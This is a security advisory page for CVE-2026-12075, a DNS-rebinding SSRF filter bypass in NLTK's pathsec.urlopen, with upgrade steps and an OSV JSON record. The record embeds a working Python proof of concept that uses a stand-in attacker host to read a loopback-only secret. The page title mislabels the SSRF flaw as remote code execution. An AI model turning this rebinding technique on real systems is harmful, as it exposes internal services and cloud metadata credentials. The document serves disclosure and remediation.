CVE-2026-12075: Natural Language Toolkit (NLTK) Remote Code Execution Vulnerability
HIGHCVE-2026-12075 is a HIGH (CVSS 8.6) remote code execution vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Natural Language Toolkit (NLTK) libraries in the PyPI ecosystem. The issue involves dns-rebinding ssrf filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats enforce mode. Remediation is available by upgrading affected packages to version 3.10.0.
CVE-2026-12075 at a Glance
Security Impact
CVSS: 8.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).
How to Fix CVE-2026-12075
To remediate this vulnerability, upgrade all affected Natural Language Toolkit (NLTK) dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install nltk>=3.10.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show nltk
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-12075, inspect your installed packages using pip:
pip show nltk
Analyze the terminal output to locate any version of Natural Language Toolkit (NLTK) in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.10.0), your application is affected.
Note: The pip show nltk command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Natural Language Toolkit (NLTK), software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-12075 Affected Natural Language Toolkit (NLTK) Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
nltk
|
PyPI |
< 3.10.0
|
3.10.0
|
References
Frequently Asked Questions
What is CVE-2026-12075?
Which Natural Language Toolkit (NLTK) versions are affected?
What version fixes CVE-2026-12075?
Is nltk affected?
What is the CVSS score of CVE-2026-12075?
What CWE is associated with CVE-2026-12075?
How can I check PyPI dependencies for CVE-2026-12075?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qvv7-cg9c-w4x3",
"modified" : "2026-07-31T16:51:29Z",
"published" : "2026-07-31T16:51:29Z",
"aliases" : [ "CVE-2026-12075" ],
"summary" : "Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode",
"details" : "### Summary\n`nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`.\n\n\n### Details\n`urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches:\n\n1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.)\n2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)\n\n`_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.\n\n\n### PoC\n```python\nimport socket\nimport threading\nimport warnings\nfrom collections import defaultdict\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nwarnings.filterwarnings(\"ignore\")\n\nimport nltk\nimport nltk.pathsec as ps\n\nps.ENFORCE = True # the documented strict SSRF sandbox\n\nATTACKER_HOST = \"rebind.attacker.test\" # attacker-controlled authoritative DNS\nPUBLIC_IP = \"93.184.216.34\" # public address served for the validation lookup\nSECRET = b\"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS\"\n\n\n# --- A loopback-only \"internal service\" (stands in for 169.254.169.254 / admin UI) ---\nclass _Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/plain\")\n self.send_header(\"Content-Length\", str(len(SECRET)))\n self.end_headers()\n self.wfile.write(SECRET)\n\n def log_message(self, *a):\n pass\n\n\ndef start_internal_server():\n srv = HTTPServer((\"127.0.0.1\", 0), _Handler)\n threading.Thread(target=srv.serve_forever, daemon=True).start()\n return srv.server_address[1] # ephemeral port\n\n\n# --- Model the TTL-0 rebinding record at the resolver layer ---\n_real_getaddrinfo = socket.getaddrinfo\n_lookups = defaultdict(int)\n\n\ndef _rebinding_getaddrinfo(host, port, *args, **kwargs):\n if host == ATTACKER_HOST:\n n = _lookups[host]\n _lookups[host] += 1\n ip = PUBLIC_IP if n == 0 else \"127.0.0.1\" # 1st=public (validate), then loopback (connect)\n p = port if isinstance(port, int) else 0\n kind = \"VALIDATION -> public\" if n == 0 else \"CONNECT -> loopback\"\n print(f\" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})\")\n return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, \"\", (ip, p))]\n return _real_getaddrinfo(host, port, *args, **kwargs)\n\n\ndef fetch(url):\n with ps.urlopen(url, timeout=5) as r:\n return r.read()\n\n\ndef main():\n print(\"=\" * 62)\n print(f\" NLTK pathsec DNS-rebinding SSRF bypass PoC\")\n print(f\" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}\")\n print(\"=\" * 62)\n\n port = start_internal_server()\n print(f\"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\\n\")\n\n socket.getaddrinfo = _rebinding_getaddrinfo\n ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process\n try:\n # ---- Control: a DIRECT loopback URL must be blocked by the filter ----\n print(\"[1] CONTROL: direct loopback URL (filter must block this)\")\n direct = f\"http://127.0.0.1:{port}/\"\n try:\n fetch(direct)\n print(f\" [?] unexpected: {direct} was NOT blocked\\n\")\n control_ok = False\n except PermissionError as e:\n print(f\" [OK] blocked -> PermissionError: {e}\\n\")\n control_ok = True\n\n # ---- Attack: rebinding hostname bypasses the same filter ----\n print(\"[2] ATTACK: rebinding hostname (public at validate, loopback at connect)\")\n evil = f\"http://{ATTACKER_HOST}:{port}/\"\n print(f\" fetching {evil}\")\n try:\n body = fetch(evil)\n leaked = SECRET in body\n print(f\" body returned to caller: {body!r}\")\n if leaked:\n print(\"\\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen\")\n print(f\" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1\")\n print(f\" non-blind SSRF despite ENFORCE = {ps.ENFORCE}\")\n verdict = \"VULNERABLE\"\n else:\n print(\"\\n [?] fetch succeeded but secret marker not present\")\n verdict = \"INCONCLUSIVE\"\n except PermissionError as e:\n # Patched build: validate against the connect-time IP (or pin/resolve-once).\n print(f\"\\n [SAFE] blocked -> PermissionError: {e}\")\n verdict = \"NOT VULNERABLE\"\n finally:\n socket.getaddrinfo = _real_getaddrinfo\n\n print(\"\\n\" + \"=\" * 62)\n print(f\" Control (direct loopback blocked): {control_ok}\")\n print(f\" Result: {verdict} (ENFORCE = {ps.ENFORCE})\")\n print(\"=\" * 62)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Impact\n- **Full-response (non-blind) SSRF.** Because the fetched body is returned to the caller (e.g. `nltk.data.load` with `format=\"raw\"`), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.\n- **Bypass of an explicit security control.** It defeats the `nltk.pathsec` SSRF filter, including the `ENFORCE` mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the `lru_cache` annotation claiming to mitigate rebinding makes the false assurance worse.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "nltk"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.10.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.9.4"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nltk/nltk"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-31T16:51:29Z",
"nvd_published_at" : "2026-06-15T20:16:34Z"
}
}